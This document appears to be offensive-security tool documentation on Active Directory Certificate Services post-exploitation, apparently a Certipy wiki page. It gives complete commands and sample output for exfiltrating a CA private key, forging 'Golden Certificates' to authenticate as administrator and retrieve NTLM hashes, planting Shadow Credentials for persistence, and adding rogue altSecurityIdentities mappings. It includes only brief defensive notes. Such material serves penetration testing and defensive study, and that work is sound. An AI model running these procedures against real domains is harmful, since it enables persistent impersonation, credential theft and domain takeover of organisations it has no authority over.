07 ‐ Post‐Exploitation

Once an attacker has escalated privileges, successfully executed initial attacks, or otherwise acquired sufficient control within a compromised Active Directory environment, a range of new opportunities for deeper entrenchment and broader access arise. At this stage, AD CS becomes an exceptionally potent target. This section dives into advanced post-exploitation uses of certificates and AD CS, highlighting how attackers can maintain access, extend control, and persist within a domain by abusing these systems. We will particularly emphasize methods for forging certificates using compromised CA keys ("Golden Certificates"), creating and using "Shadow Credentials" via msDS-KeyCredentialLink, and how stolen or misused certificates can facilitate long-term persistence and lateral movement.

Backing Up the CA's Private Key

When attackers compromise a CA server and gain administrative privileges (either local administrator rights on the CA server or, more powerfully, Domain Administrator rights that grant control over the CA), one of their paramount objectives is often to exfiltrate the CA's private signing key. Possessing this key grants attackers the capability to issue fully trusted certificates for any identity or purpose within the domain, effectively cementing their control and making eviction extremely difficult.

Certipy provides a command to facilitate this exfiltration, assuming the necessary privileges are already held by the attacker's current context: certipy ca -backup.

certipy ca \
    -u '<username>' -p '<password>' \
    -ns '10.0.0.100' -target 'CA.CORP.LOCAL' \
    -config 'CA.CORP.LOCAL\CORP-CA' -backup

-u administrator@corp.local -p 'Passw0rd!': Credentials of a user with rights to perform the CA backup (typically requiring ManageCA and ManageCertificates permissions, often held by Domain Admins or dedicated PKI Admins).
-ns '10.0.0.100': A name server for DNS resolution if needed.
-target 'CA.CORP.LOCAL': The hostname or FQDN of the CA server.
-config 'CA.CORP.LOCAL\CORP-CA': Specifies the configuration string of the target CA.

Expected Output:

Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Creating new service for backup operation
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Backing up original PFX/P12 to 'pfx.p12'
[*] Backed up original PFX/P12 to 'pfx.p12'
[*] Saving certificate and private key to 'CORP-CA.pfx'
[*] Wrote certificate and private key to 'CORP-CA.pfx'
[*] Cleaning up

The output indicates success, with the CA's private key and certificate now stored in CORP-CA.pfx on the attacker's machine.

Under the hood, Certipy automates a multi-step process. It typically establishes an RPC connection to the CA, then deploys and starts a temporary Windows service on the CA server. This service, running with high privileges, executes the native Windows utility certutil.exe with appropriate parameters (e.g., certutil -backupKey <password>) to export the CA's private key(s) and certificate(s) into an encrypted PKCS#12 (.pfx) file. Certipy then retrieves this .pfx file (via SMB) back to the attacker-controlled system. Finally, for cleanup, Certipy attempts to delete the temporary service and the local copy of the PFX file from the compromised CA server.

While effective, this method can leave forensic artifacts and trigger security alerts. The creation of unexpected new Windows services on a CA server, unusual SMB traffic to the CA, or Windows Event Logs recording CA key backup operations can all signal malicious activity to security monitoring solutions.

Manual CA Key Backup

If an attacker has direct interactive shell access to the CA server (e.g., via RDP, PowerShell Remoting, or other command execution channels), they can perform the CA key backup directly using built-in Windows commands. This might be perceived as stealthier by avoiding the network traffic and service creation associated with remote tools like Certipy's backup module.

certutil -backupKey -f -p <password> C:\Windows\Tasks\CaBackupFolder
REM Attacker would then need to exfiltrate C:\Windows\Tasks\CaBackupFolder\*

In this manual approach, certutil -backupKey is invoked directly.

-f: Force overwrite if the target file/folder exists.
-p SuperSecurePassw0rd!: The password to encrypt the PFX file.
C:\Windows\Tasks\CaBackupFolder: A temporary directory where certutil will place the key files.

Deep Implications of a Stolen CA Private Key

Possessing a CA's private key provides attackers with profound, pervasive, and enduring control over a compromised Active Directory environment. The consequences are far-reaching:

Unlimited Certificate Forgery: Attackers can generate cryptographically valid and trusted certificates for any domain user, computer, service, or even create new rogue subordinate CAs at will. This effectively means they can impersonate anyone or anything within the domain's PKI trust boundary.
Long-Term, Resilient Persistence: Unlike compromised passwords or Kerberos keys (like the KRBTGT account's keys, which administrators can reset, albeit with significant effort for the KRBTGT), a compromised CA private key is exceptionally difficult to fully remediate. The standard response requires revoking the compromised CA's own certificate, removing it from all trust stores (including the NTAuth store and client/server trust stores), and then reissuing all certificates that were previously issued by or chained to that CA. This is a monumental task involving redesigning parts of the PKI hierarchy and reconfiguring numerous dependent services (VPN, WiFi/802.1x, smart card infrastructure, web servers, internal application authentication mechanisms, EFS, etc.).
Backups Offer No Solace: Restoring the CA server from a backup taken before the key was stolen does not mitigate the issue, because the private key itself is compromised and can be used offline by the attacker. The trust in that CA's identity is broken, regardless of the server's state. The entire trust chain associated with that CA must be considered untrustworthy and rebuilt.
Stealthy and Multi-Purpose Utility: Even if the compromise is detected, the attacker, holding the CA private key, can continue to forge and use certificates. These certificates can be used for lateral movement within internal networks, gaining VPN access, authenticating to WiFi networks (802.1x), code signing malicious payloads to bypass endpoint protections, or decrypting files encrypted with EFS if corresponding EFS certificates can be forged.
Significant Operational Disruption and Delayed Remediation: Addressing a stolen CA key scenario involves considerable downtime, complexity, and cost. Organizations may be hesitant or slow to undertake the full revocation and reissuance process, providing attackers an extended window to persist, exfiltrate data, or achieve other objectives.

In essence, the compromise of an enterprise CA's private key is a "Tier 0" compromise, granting the attacker foundational control over domain trust and identity.

Forging "Golden Certificates" (Leveraging a Compromised CA Key)

A "Golden Certificate" is conceptually analogous to a Kerberos Golden Ticket. If an attacker compromises a significant Certificate Authority's private key (especially a Root CA trusted by the domain, or an Enterprise Issuing CA whose certificate resides in the NTAuth store), they gain the ability to forge certificates for any identity within the domain at will. These certificates can be crafted with long validity periods, specific powerful EKUs, and any desired subject information, essentially allowing indefinite and versatile persistence.

Unlike a Golden Ticket, which abuses the Kerberos TGT signing capability of the KRBTGT account's key, a Golden Certificate abuses the trust placed in the compromised CA. Domain Controllers will inherently trust any client certificate presented during authentication (e.g., PKINIT for Kerberos, Schannel for TLS) as long as it is cryptographically valid (i.e., correctly signed by the CA's private key) and chains up to a CA certificate present in the NTAuth store (for domain authentication purposes) or another relevant trust anchor.

When a client presents a certificate for authentication, the KDC (or other relying party) does not check if that specific certificate was actually recorded in the CA's issuance database. It only verifies the signature, validity period, revocation status (if checked), and critical extensions. Therefore, an attacker possessing the CA's private key can mint a certificate for "Administrator" (or any other account) offline, and it will be accepted as legitimate.

Beyond user/computer authentication, forged certificates can target other purposes:

Code Signing: If the CA is trusted for code signing, attackers can sign malicious software, making it appear legitimate and potentially bypassing security controls like AppLocker or WDAC.
EFS (Encrypted File System): Forging EFS certificates or Data Recovery Agent (DRA) certificates could allow decryption of sensitive files.
Network Access: Forging device or user certificates valid for 802.1x WiFi authentication or VPN access can grant unauthorized network entry.

Once a CA private key has been backed up (e.g., to CORP-CA.pfx), the attacker can use Certipy's forge command to create a Golden Certificate.

certipy forge \
    -ca-pfx 'CORP-CA.pfx' -upn 'administrator@corp.local' \
    -sid 'S-1-5-21-...-500' -crl 'ldap:///'

-ca-pfx 'CORP-CA.pfx': Path to the PFX file containing the compromised CA's certificate and private key.
-upn 'administrator@corp.local': The User Principal Name to embed in the SAN of the forged certificate.
-sid 'S-1-5-21-...-500': The Security Identifier to embed in the SID extension of the forged certificate for strong mapping.
-crl 'ldap:///': Specifies a CRL Distribution Point (CDP) extension in the certificate. This is often a minimal placeholder.

Expected Output:

Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Saving forged certificate and private key to 'administrator_forged.pfx'
[*] Wrote forged certificate and private key to 'administrator_forged.pfx'

This command creates administrator_forged.pfx, containing a certificate for administrator@corp.local signed by the compromised CA.

Hereafter, the attacker can use the forged certificate to authenticate:

certipy auth -pfx '<pfx>' -dc-ip '<dc-ip>'

Expected Output:

Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@corp.local'
[*]     SAN URL SID: 'S-1-5-21-...-500'
[*]     Security Extension SID: 'S-1-5-21-...-500'
[*] Using principal: 'administrator@corp.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889

The attacker obtains a TGT and the NTLM hash for the administrator, achieving privileged access.

The Importance of the CRL Distribution Point (CDP):
If the -crl option is omitted when forging, authentication might fail. While the KDC doesn't typically perform an active CRL lookup during initial TGT issuance for performance reasons, it does often check for the presence of a CDP extension in the certificate. Its absence can lead to a KDC_ERROR_CLIENT_NOT_TRUSTED error.

certipy forge \
    -ca-pfx 'CORP-CA.pfx' -upn 'administrator@corp.local' \
    -sid 'S-1-5-21-...-500'

Expected Output (forge succeeds):

Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Saving forged certificate and private key to 'administrator_forged.pfx'
[*] Wrote forged certificate and private key to 'administrator_forged.pfx'

Attempting authentication with this certificate:

certipy auth -pfx '<pfx>' -dc-ip '<dc-ip>'

Expected Output (auth fails):

Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@corp.local'
[*]     SAN URL SID: 'S-1-5-21-...-500'
[*]     Security Extension SID: 'S-1-5-21-...-500'
[*] Using principal: 'administrator@corp.local'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERROR_CLIENT_NOT_TRUSTED(Reserved for PKINIT)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information

The ldap:/// value for -crl is a simple placeholder that satisfies the KDC's syntax check. A legitimate certificate would have a full CDP path, e.g., ldap:///CN=CORP-CA,CN=CA,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=CORP,DC=LOCAL?certificateRevocationList?base?objectClass=cRLDistributionPoint.

Using a Template for Forging:
To make forged certificates appear more legitimate by including common, non-critical extensions found in genuinely issued certificates, Certipy allows using an existing certificate as a template:

certipy forge \
    -template 'attacker.pfx' -ca-pfx 'CORP-CA.pfx' \
    -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'

-template 'attacker.pfx': Certipy will copy extensions (like Key Usage, basic constraints, AIA, etc.) from attacker.pfx into the new forged certificate, while still setting the subject, UPN, and SID as specified.

Expected Output (forge):

Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Saving forged certificate and private key to 'administrator_forged.pfx'
[*] Wrote forged certificate and private key to 'administrator_forged.pfx'

Authentication with this certificate would then proceed as shown previously.

Defending Against Golden Certificates:
Defense is exceptionally challenging once a CA key is compromised.

CA Revocation and Replacement: The only true remediation is to revoke the compromised CA's certificate, remove it from all trust stores (NTAuth, client/server trusted roots), and potentially build a new PKI hierarchy. This involves reissuing all dependent certificates and reconfiguring services - a massive and highly disruptive undertaking.
Monitoring: Monitor for anomalous certificate authentications (e.g., privileged accounts logging on from unexpected sources or with certificates not matching known issuance patterns). However, sophisticated attackers can make forged certificates appear very legitimate. Monitoring CA key usage is difficult if the key is used offline.
HSMs: Using Hardware Security Modules (HSMs) makes direct CA key extraction significantly harder (though not entirely impossible, as flawed implementations or operational errors can still lead to compromise, as hinted at by ESC12 research).
Physical and Logical Security for CAs: Offline Root CAs must be impeccably secured. Online Issuing CAs are Tier 0 assets requiring protection equivalent to Domain Controllers.
Certificate Lifetimes: Shorter certificate validity periods limit the persistence window of legitimately issued but stolen certificates. However, an attacker forging certificates with a compromised CA key can often specify arbitrary, long validity periods (though KDCs or applications might impose their own limits on acceptable validity for certain uses like smart card logon).

Compromise of a CA, especially a Root or Enterprise Issuing CA, is a catastrophic security event. Attackers will leverage this for long-term, stealthy persistence.

Shadow Credentials (`msDS-KeyCredentialLink`)

The concept of Shadow Credentials was introduced by Elad Shamir of SpecterOps in 2021. This technique allows an attacker with specific write permissions to an Active Directory user or computer object to gain authentication capabilities as that object, without needing its password or traditional certificates issued by AD CS. It leverages the msDS-KeyCredentialLink attribute, which is normally used for key-based passwordless authentication methods such as Windows Hello for Business (WHfB) or FIDO2.

If an attacker can write to an account's msDS-KeyCredentialLink attribute, they can add their own public key material. Subsequently, the attacker can use the corresponding private key to authenticate as that user or computer via Kerberos PKINIT (using a self-signed certificate containing the public key, or raw key authentication if supported by the client).

Certipy's shadow command simplifies exploiting this:

auto subcommand: This is the most common usage for quick exploitation. It automatically generates a new key pair, adds the public key as a key credential to the target account, uses the new key credential to authenticate (requesting a TGT and NTLM hash), and then removes the added key credential to clean up. This is ideal for one-time access or privilege escalation.
```
certipy shadow \
    -u '<username>' -p '<password>' \
    -dc-ip '10.0.0.100' -account 'victim' \
    auto
```
-account 'victim': The sAMAccountName of the target user or computer (for computer, use victim$).

Expected Output:

Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Targeting user 'victim'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '1b46aa91-2c85-be93-78aa-7ea44047a370'
[*] Adding Key Credential with device ID '1b46aa91-2c85-be93-78aa-7ea44047a370' to the Key Credentials for 'victim'
[*] Successfully added Key Credential with device ID '1b46aa91-2c85-be93-78aa-7ea44047a370' to the Key Credentials for 'victim'
[*] Authenticating as 'victim' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'victim@corp.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'victim.ccache'
[*] Wrote credential cache to 'victim.ccache'
[*] Trying to retrieve NT hash for 'victim'
[*] Restoring the old Key Credentials for 'victim'
[*] Successfully restored the old Key Credentials for 'victim'
[*] NT hash for 'victim': fc525c9683e8fe067095ba2ddc971889

The output shows the temporary DeviceID, successful authentication, and cleanup. The "No identities found in this certificate" message is expected; the self-signed certificate used here is merely a container for the public key to perform PKINIT. The KDC maps it to the account via the msDS-KeyCredentialLink binding, not via SAN UPNs or SID extensions from a CA-issued cert.

Manual add, auth, remove for Persistence: For longer-term persistence (if detection is less likely), an attacker can use shadow add to plant a key credential.
```
certipy shadow \
    -u '<username>' -p '<password>' \
    -dc-ip '10.0.0.100' -account 'victim' \
    add
```

Expected Output (add):

Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Targeting user 'victim'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'f4474290-e5a0-ea54-3858-82e68421a13d'
[*] Adding Key Credential with device ID 'f4474290-e5a0-ea54-3858-82e68421a13d' to the Key Credentials for 'victim'
[*] Successfully added Key Credential with device ID 'f4474290-e5a0-ea54-3858-82e68421a13d' to the Key Credentials for 'victim'
[*] Saving certificate and private key to 'victim.pfx'
[*] Saved certificate and private key to 'victim.pfx'

The attacker saves victim.pfx and notes the DeviceID. To authenticate later:

```bash
certipy auth \
    -dc-ip '10.0.0.100' -pfx 'victim.pfx' \
    -username 'victim' -domain 'corp.local'
```

-username 'victim' -domain 'corp.local': These are essential for auth when using a shadow credential PFX, as the certificate itself doesn't contain identifying information like a UPN that the KDC would normally parse. These parameters tell Certipy which account's context to request a TGT for, assuming the key in the PFX is linked to that account.

Expected Output (auth):

Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'victim@corp.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'victim.ccache'
[*] Wrote credential cache to 'victim.ccache'
[*] Trying to retrieve NT hash for 'victim'
[*] Got hash for 'victim@corp.local': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889

To remove the credential later:

certipy shadow \
    -u '<username>' -p '<password>' \
    -dc-ip '10.0.0.100' -account 'victim' \
    -device-id 'f4474290-e5a0-ea54-3858-82e68421a13d' remove

Expected Output (remove):

Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Targeting user 'victim'
[*] Found device ID 'f4474290-e5a0-ea54-3858-82e68421a13d' in Key Credentials 'victim'
[*] Deleting the Key Credential with device ID 'f4474290-e5a0-ea54-3858-82e68421a13d' in Key Credentials for 'victim'
[*] Successfully deleted the Key Credential with device ID 'f4474290-e5a0-ea54-3858-82e68421a13d' in Key Credentials for 'victim'

Note: By default, users cannot add key credentials to their own accounts unless they have explicit write permissions to their own msDS-KeyCredentialLink attribute (which is not typical). This attack usually implies the attacker has obtained permissions to write to another account's attribute.

Shadow Credentials Mitigation & Detection:

Refer to Elad Shamir's original blog post for comprehensive details on detection and mitigation strategies.

Certificate Mapping (`altSecurityIdentities`)

Similar to msDS-KeyCredentialLink, the altSecurityIdentities attribute on AD objects allows for explicit mapping of X.509 certificates to an account for authentication. Instead of linking raw public key material, this attribute stores strings that describe characteristics of a certificate (e.g., Issuer and Serial Number, Subject Key Identifier, or even just Subject information). If an attacker can write to this attribute on a target account, they could add a mapping string that corresponds to a certificate they control.

If this certificate is also issued by a CA trusted by the domain (e.g., an Enterprise CA, or even a public CA if the mapping string is very generic and accepted), the attacker can then authenticate as the target user using their certificate. This is the basis of the ESC14 vulnerability when weak mapping strings are already present. If an attacker adds a mapping, it's a form of credentialing/persistence.

Certipy does not have a dedicated command to directly add mappings to the altSecurityIdentities attribute. This would typically be done using PowerShell (Set-ADUser -Add @{'altSecurityIdentities'='X509:<I>CN=MyRogueCA<S>CN=FakeAdminCert'}), ldp.exe, or other LDAP editing tools, assuming the attacker has the necessary write permissions to the attribute.

Refer to Microsoft's documentation on KB5014754 for more details on certificate mapping changes and the altSecurityIdentities attribute's role, especially in the context of strong certificate binding.

Backing Up the CA's Private Key

Manual CA Key Backup

Deep Implications of a Stolen CA Private Key

Forging "Golden Certificates" (Leveraging a Compromised CA Key)

Shadow Credentials (msDS-KeyCredentialLink)

Certificate Mapping (altSecurityIdentities)

Other Post-Exploitation Uses of Certificates

Shadow Credentials (`msDS-KeyCredentialLink`)

Certificate Mapping (`altSecurityIdentities`)